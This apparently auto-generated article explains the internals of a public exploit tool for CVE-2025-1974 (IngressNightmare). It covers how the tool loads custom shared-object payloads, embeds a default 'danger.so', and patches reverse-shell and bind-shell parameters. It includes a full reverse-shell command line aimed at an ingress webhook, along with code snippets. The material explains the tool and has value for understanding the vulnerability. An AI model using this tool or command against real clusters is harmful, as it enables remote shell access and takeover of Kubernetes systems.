How IngressNightmare Supports Custom SO Files for Payload Generation

IngressNightmare accepts custom shared object (.so) files through the --so CLI flag, loading them into the global evilLibrary variable to replace the embedded danger.so payload without requiring tool recompilation.

The esonhugh/ingressnightmare-cve-2025-1974-exps repository implements a flexible payload architecture for CVE-2025-1974 exploitation. By supporting ingressnightmare custom SO files, the tool allows security researchers to supply proprietary or architecture-specific backdoor binaries while leveraging the existing injection framework.

Specifying Custom Libraries via CLI

The tool exposes the --so (or -so) flag in main.go to accept external shared objects at runtime. When provided, the flag value populates the Opts.SoFile configuration field (lines 112-116). During the PersistentPreRun phase, the program checks for this option and reads the specified file from disk using os.ReadFile (lines 168-174), ensuring the custom binary is available before any exploit commands execute.


# Load a custom shared object for payload generation

./ingressnightmare \
    --so ./my_custom_payload.so \
    --mode reverse-shell \
    --reverse-shell-ip 10.1.2.3 \
    --reverse-shell-port 4444 \
    --ingress-webhook-url https://target-ingress:443

The Internal Storage Mechanism

Once read, the raw byte slice passes directly to nginx_ingress.Init() within the same initialization block. This function, defined in nginx-ingress/payload.go (lines 22-25), copies the supplied data into the package-level evilLibrary variable. This global byte slice serves as the canonical source for all subsequent payload operations, effectively decoupling the file I/O from the generation logic.

// Simplified initialization flow from main.go
if Opts.SoFile != "" {
    data, _ := os.ReadFile(Opts.SoFile)  // User-supplied .so
    nginx_ingress.Init(data)
} else {
    nginx_ingress.Init(nginx_ingress.DefaultEvilLibrary())
}

Automatic Payload Generation Integration

Functions such as NewReverseShellPayload, NewBindShellPayload, and NewCommandPayload consume evilLibrary through internal patching helpers like bytesReplace. These generators modify the binary data in-place to insert runtime parameters—IP addresses, port numbers, mode flags, or shell commands—before returning the final exploit payload (see usage in payload.go, lines 56-71). Because the pipeline references the global variable, any custom SO file loaded via Init automatically propagates through all generation routines without code modification.

Default Embedded Library Fallback

When users omit the --so flag, the tool seamlessly falls back to the embedded danger.so. The logic in main.go (lines 173-176) invokes nginx_ingress.DefaultEvilLibrary(), which retrieves the binary embedded at compile time via the //go:embed directive (lines 27-30 and 17-20 in payload.go). This ensures the tool remains functional out-of-the-box while maintaining extensibility for custom ingressnightmare custom SO files.

// From nginx-ingress/payload.go - the embed directive
//go:embed danger.so danger.c
var evilFS embed.FS

func DefaultEvilLibrary() []byte {
    data, _ := evilFS.ReadFile("danger.so")
    return data
}

Binary Compatibility Requirements

Custom SO files must adhere to the original danger.so binary layout and match the target architecture. Supplying an incompatible ELF format results in an "exec format error" when the Kubernetes pod attempts execution. The repository includes the C source code (danger.c) for reference and recompilation; access it via ./ingressnightmare show-c when porting payloads to different processor architectures.

Summary

  • The --so flag in main.go enables runtime specification of arbitrary shared objects without recompilation.
  • nginx_ingress.Init() stores file bytes in the global evilLibrary variable (lines 22-25).
  • Payload generators like NewReverseShellPayload automatically consume evilLibrary, requiring no source changes to support custom binaries.
  • The tool defaults to the embedded danger.so via DefaultEvilLibrary() when no external file is specified.

Frequently Asked Questions

What flag do I use to specify a custom SO file in IngressNightmare?

Use the --so or -so flag followed by the absolute or relative path to your compiled shared object. The tool validates the path during PersistentPreRun and loads the bytes before executing the selected exploit mode.

Where does IngressNightmare store the custom SO file data internally?

The Init() function in nginx-ingress/payload.go copies the file contents into the package-level evilLibrary byte slice (lines 22-25). This global variable acts as the single source of truth for all payload generation functions throughout the application lifecycle.

Can I use any SO file, or does it need specific formatting?

The custom SO must maintain the same binary structure as the original danger.so and target the correct architecture (e.g., x86_64 vs. ARM). Run ./ingressnightmare show-c to retrieve the reference C source for recompilation if the target environment requires a different instruction set.

What happens if I don't provide the --so flag?

The tool automatically invokes DefaultEvilLibrary(), which reads the danger.so file embedded at build time using Go's //go:embed directive (lines 27-30). This provides a zero-configuration default while preserving the ability to inject custom libraries when needed.

Have a question about this repo?

These articles cover the highlights, but your codebase questions are specific. Give your agent direct access to the source. Share this with your agent to get started:

Share the following with your agent to get started:
curl -s "https://instagit.com/install.md"

Works with
Claude Codex Cursor VS Code OpenClaw Any MCP Client

Maintain an open-source project? Get it listed too →